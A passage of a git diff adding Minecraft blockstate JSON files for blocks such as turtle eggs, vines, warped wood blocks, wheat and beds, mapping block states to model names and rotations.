[ + { + "model": "minecraft:block/three_very_cracked_turtle_eggs" + }, + { + "model": "minecraft:block/three_very_cracked_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/three_very_cracked_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/three_very_cracked_turtle_eggs", + "y": 270 + } + ], + "eggs=4,hatch=0": [ + { + "model": "minecraft:block/four_turtle_eggs" + }, + { + "model": "minecraft:block/four_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/four_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/four_turtle_eggs", + "y": 270 + } + ], + "eggs=4,hatch=1": [ + { + "model": "minecraft:block/four_slightly_cracked_turtle_eggs" + }, + { + "model": "minecraft:block/four_slightly_cracked_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/four_slightly_cracked_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/four_slightly_cracked_turtle_eggs", + "y": 270 + } + ], + "eggs=4,hatch=2": [ + { + "model": "minecraft:block/four_very_cracked_turtle_eggs" + }, + { + "model": "minecraft:block/four_very_cracked_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/four_very_cracked_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/four_very_cracked_turtle_eggs", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/twisting_vines.json b/src/assets/minecraft/blockstates/twisting_vines.json new file mode 100644 index 00000000..baef54f8 --- /dev/null +++ b/src/assets/minecraft/blockstates/twisting_vines.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/twisting_vines" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/twisting_vines_plant.json b/src/assets/minecraft/blockstates/twisting_vines_plant.json new file mode 100644 index 00000000..83020268 --- /dev/null +++ b/src/assets/minecraft/blockstates/twisting_vines_plant.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/twisting_vines_plant" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/vine.json b/src/assets/minecraft/blockstates/vine.json new file mode 100644 index 00000000..57796732 --- /dev/null +++ b/src/assets/minecraft/blockstates/vine.json @@ -0,0 +1,120 @@ +{ + "variants": { + "east=false,north=false,south=false,up=false,west=false": { + "model": "minecraft:block/vine_1" + }, + "east=false,north=false,south=false,up=false,west=true": { + "model": "minecraft:block/vine_1", + "y": 90 + }, + "east=false,north=false,south=false,up=true,west=false": { + "model": "minecraft:block/vine_u" + }, + "east=false,north=false,south=false,up=true,west=true": { + "model": "minecraft:block/vine_1u", + "y": 90 + }, + "east=false,north=false,south=true,up=false,west=false": { + "model": "minecraft:block/vine_1" + }, + "east=false,north=false,south=true,up=false,west=true": { + "model": "minecraft:block/vine_2", + "y": 180 + }, + "east=false,north=false,south=true,up=true,west=false": { + "model": "minecraft:block/vine_1u" + }, + "east=false,north=false,south=true,up=true,west=true": { + "model": "minecraft:block/vine_2u", + "y": 180 + }, + "east=false,north=true,south=false,up=false,west=false": { + "model": "minecraft:block/vine_1", + "y": 180 + }, + "east=false,north=true,south=false,up=false,west=true": { + "model": "minecraft:block/vine_2", + "y": 270 + }, + "east=false,north=true,south=false,up=true,west=false": { + "model": "minecraft:block/vine_1u", + "y": 180 + }, + "east=false,north=true,south=false,up=true,west=true": { + "model": "minecraft:block/vine_2u", + "y": 270 + }, + "east=false,north=true,south=true,up=false,west=false": { + "model": "minecraft:block/vine_2_opposite", + "y": 90 + }, + "east=false,north=true,south=true,up=false,west=true": { + "model": "minecraft:block/vine_3", + "y": 180 + }, + "east=false,north=true,south=true,up=true,west=false": { + "model": "minecraft:block/vine_2u_opposite", + "y": 90 + }, + "east=false,north=true,south=true,up=true,west=true": { + "model": "minecraft:block/vine_3u", + "y": 180 + }, + "east=true,north=false,south=false,up=false,west=false": { + "model": "minecraft:block/vine_1", + "y": 270 + }, + "east=true,north=false,south=false,up=false,west=true": { + "model": "minecraft:block/vine_2_opposite" + }, + "east=true,north=false,south=false,up=true,west=false": { + "model": "minecraft:block/vine_1u", + "y": 270 + }, + "east=true,north=false,south=false,up=true,west=true": { + "model": "minecraft:block/vine_2u_opposite" + }, + "east=true,north=false,south=true,up=false,west=false": { + "model": "minecraft:block/vine_2", + "y": 90 + }, + "east=true,north=false,south=true,up=false,west=true": { + "model": "minecraft:block/vine_3", + "y": 90 + }, + "east=true,north=false,south=true,up=true,west=false": { + "model": "minecraft:block/vine_2u", + "y": 90 + }, + "east=true,north=false,south=true,up=true,west=true": { + "model": "minecraft:block/vine_3u", + "y": 90 + }, + "east=true,north=true,south=false,up=false,west=false": { + "model": "minecraft:block/vine_2" + }, + "east=true,north=true,south=false,up=false,west=true": { + "model": "minecraft:block/vine_3", + "y": 270 + }, + "east=true,north=true,south=false,up=true,west=false": { + "model": "minecraft:block/vine_2u" + }, + "east=true,north=true,south=false,up=true,west=true": { + "model": "minecraft:block/vine_3u", + "y": 270 + }, + "east=true,north=true,south=true,up=false,west=false": { + "model": "minecraft:block/vine_3" + }, + "east=true,north=true,south=true,up=false,west=true": { + "model": "minecraft:block/vine_4" + }, + "east=true,north=true,south=true,up=true,west=false": { + "model": "minecraft:block/vine_3u" + }, + "east=true,north=true,south=true,up=true,west=true": { + "model": "minecraft:block/vine_4u" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/void_air.json b/src/assets/minecraft/blockstates/void_air.json new file mode 100644 index 00000000..2c8f02f0 --- /dev/null +++ b/src/assets/minecraft/blockstates/void_air.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/air" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/wall_torch.json b/src/assets/minecraft/blockstates/wall_torch.json new file mode 100644 index 00000000..7314344c --- /dev/null +++ b/src/assets/minecraft/blockstates/wall_torch.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/wall_torch" + }, + "facing=north": { + "model": "minecraft:block/wall_torch", + "y": 270 + }, + "facing=south": { + "model": "minecraft:block/wall_torch", + "y": 90 + }, + "facing=west": { + "model": "minecraft:block/wall_torch", + "y": 180 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_button.json b/src/assets/minecraft/blockstates/warped_button.json new file mode 100644 index 00000000..9fae2ee9 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/warped_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/warped_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/warped_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/warped_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/warped_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/warped_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/warped_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/warped_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/warped_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/warped_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/warped_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/warped_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/warped_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/warped_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_door.json b/src/assets/minecraft/blockstates/warped_door.json new file mode 100644 index 00000000..c81e0129 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/warped_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/warped_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/warped_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/warped_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/warped_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/warped_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/warped_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/warped_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/warped_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/warped_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/warped_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/warped_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/warped_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/warped_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/warped_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/warped_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/warped_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/warped_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/warped_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/warped_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/warped_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/warped_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/warped_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/warped_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/warped_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/warped_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/warped_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/warped_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/warped_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/warped_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/warped_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/warped_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_fence.json b/src/assets/minecraft/blockstates/warped_fence.json new file mode 100644 index 00000000..1df101be --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/warped_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/warped_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/warped_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/warped_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/warped_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_fence_gate.json b/src/assets/minecraft/blockstates/warped_fence_gate.json new file mode 100644 index 00000000..d4f9d49b --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/warped_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/warped_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/warped_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/warped_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/warped_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/warped_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/warped_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/warped_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/warped_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/warped_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/warped_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/warped_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/warped_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/warped_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/warped_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/warped_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_fungus.json b/src/assets/minecraft/blockstates/warped_fungus.json new file mode 100644 index 00000000..49ebfb00 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_fungus.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_fungus" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_hyphae.json b/src/assets/minecraft/blockstates/warped_hyphae.json new file mode 100644 index 00000000..a96fcb85 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_hyphae.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/warped_hyphae", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/warped_hyphae" + }, + "axis=z": { + "model": "minecraft:block/warped_hyphae", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_nylium.json b/src/assets/minecraft/blockstates/warped_nylium.json new file mode 100644 index 00000000..f9f4ca89 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_nylium.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_nylium" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_planks.json b/src/assets/minecraft/blockstates/warped_planks.json new file mode 100644 index 00000000..e2d95a72 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_pressure_plate.json b/src/assets/minecraft/blockstates/warped_pressure_plate.json new file mode 100644 index 00000000..9c3d2d39 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/warped_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/warped_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_roots.json b/src/assets/minecraft/blockstates/warped_roots.json new file mode 100644 index 00000000..7e575051 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_roots.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_roots" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_sign.json b/src/assets/minecraft/blockstates/warped_sign.json new file mode 100644 index 00000000..73befe6b --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_slab.json b/src/assets/minecraft/blockstates/warped_slab.json new file mode 100644 index 00000000..012d2470 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/warped_slab" + }, + "type=double": { + "model": "minecraft:block/warped_planks" + }, + "type=top": { + "model": "minecraft:block/warped_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_stairs.json b/src/assets/minecraft/blockstates/warped_stairs.json new file mode 100644 index 00000000..93b5336d --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/warped_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/warped_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/warped_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/warped_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/warped_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/warped_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/warped_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/warped_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/warped_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/warped_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_stem.json b/src/assets/minecraft/blockstates/warped_stem.json new file mode 100644 index 00000000..5726b9a4 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_stem.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/warped_stem", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/warped_stem" + }, + "axis=z": { + "model": "minecraft:block/warped_stem", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_trapdoor.json b/src/assets/minecraft/blockstates/warped_trapdoor.json new file mode 100644 index 00000000..b4d8b33b --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_trapdoor.json @@ -0,0 +1,69 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/warped_trapdoor_bottom", + "y": 90 + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/warped_trapdoor_top", + "y": 90 + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "x": 180, + "y": 270 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/warped_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/warped_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/warped_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "x": 180, + "y": 180 + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/warped_trapdoor_bottom", + "y": 180 + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/warped_trapdoor_top", + "y": 180 + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "x": 180, + "y": 0 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/warped_trapdoor_bottom", + "y": 270 + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/warped_trapdoor_top", + "y": 270 + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/warped_trapdoor_open", + "x": 180, + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_wall_sign.json b/src/assets/minecraft/blockstates/warped_wall_sign.json new file mode 100644 index 00000000..73befe6b --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/warped_wart_block.json b/src/assets/minecraft/blockstates/warped_wart_block.json new file mode 100644 index 00000000..6ebede61 --- /dev/null +++ b/src/assets/minecraft/blockstates/warped_wart_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/warped_wart_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/water.json b/src/assets/minecraft/blockstates/water.json new file mode 100644 index 00000000..99fd360b --- /dev/null +++ b/src/assets/minecraft/blockstates/water.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/water" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/weeping_vines.json b/src/assets/minecraft/blockstates/weeping_vines.json new file mode 100644 index 00000000..cbcbec38 --- /dev/null +++ b/src/assets/minecraft/blockstates/weeping_vines.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/weeping_vines" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/weeping_vines_plant.json b/src/assets/minecraft/blockstates/weeping_vines_plant.json new file mode 100644 index 00000000..ff13a3d4 --- /dev/null +++ b/src/assets/minecraft/blockstates/weeping_vines_plant.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/weeping_vines_plant" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/wet_sponge.json b/src/assets/minecraft/blockstates/wet_sponge.json new file mode 100644 index 00000000..2a448bf7 --- /dev/null +++ b/src/assets/minecraft/blockstates/wet_sponge.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/wet_sponge" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/wheat.json b/src/assets/minecraft/blockstates/wheat.json new file mode 100644 index 00000000..79f42739 --- /dev/null +++ b/src/assets/minecraft/blockstates/wheat.json @@ -0,0 +1,28 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/wheat_stage0" + }, + "age=1": { + "model": "minecraft:block/wheat_stage1" + }, + "age=2": { + "model": "minecraft:block/wheat_stage2" + }, + "age=3": { + "model": "minecraft:block/wheat_stage3" + }, + "age=4": { + "model": "minecraft:block/wheat_stage4" + }, + "age=5": { + "model": "minecraft:block/wheat_stage5" + }, + "age=6": { + "model": "minecraft:block/wheat_stage6" + }, + "age=7": { + "model": "minecraft:block/wheat_stage7" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_banner.json b/src/assets/minecraft/blockstates/white_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/white_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/white_bed.json b/src/assets/minecraft/blockstates/white_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/white_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + 